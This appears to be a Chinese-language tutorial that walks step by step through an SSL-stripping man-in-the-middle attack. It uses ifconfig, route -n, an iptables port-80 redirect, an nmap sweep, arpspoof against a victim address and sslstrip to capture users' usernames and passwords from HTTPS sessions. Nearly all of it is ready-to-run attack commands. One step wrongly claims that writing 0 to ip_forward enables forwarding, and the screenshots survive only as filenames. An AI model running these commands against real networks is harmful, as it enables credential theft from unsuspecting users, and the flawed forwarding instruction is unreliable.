介绍
我们的目标是尝试访问使用 https 网站的用户. 路由器(网关)会把受害者的访问请求发送给我们,而攻击者会把 https 转换成 http 协议,然后扣下报文中的 用户名和 密码. 攻击者会把请求报文发回给路由器(网关). 然后路由器会把这个新的请求发送给网站,这就是大概的攻击机制.
具体步骤
首先我们需要打开终端,输入 ifconfig 来查看我们的网卡
ifconfig
O1D$7S619@7NGM9F(J(%WXX.png
eth0代表有线网卡,wlan0代表无线网卡.
接下来我们需要输入一条命令
echo 0 > /proc/sys/net/ipv4/ip_forward开启流量转发功能
接下来配置路由表(iptables),把80端口的数据传送到8080端口,也就是SSL欺骗需要监听的端口
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080现在我们需要找到网关的IP地址,输入 route -n, GateWay 显示的就是网关地址了
route -n
5SLRY~6L_{ERQGT73HK4Y%X.png
现在使用nmap获取目标主机的地址,在终端输入
nmap -sP [网关地址]/24
2SQ$TSQL36{M%$CURH6U}05.png
可以看到目标机的ip为：192.168.75.130
接下来我们进行欺骗
arpspoof -i [网卡] -t [目标ip] [网关ip]arpspoof -i eth0 -t 192.168.75.130 192.168.75.2然后新开一个终端开始监听
sslstrip -l 8080打开终端,输入cat sslstrip.log
QQ截图20171021163203.png
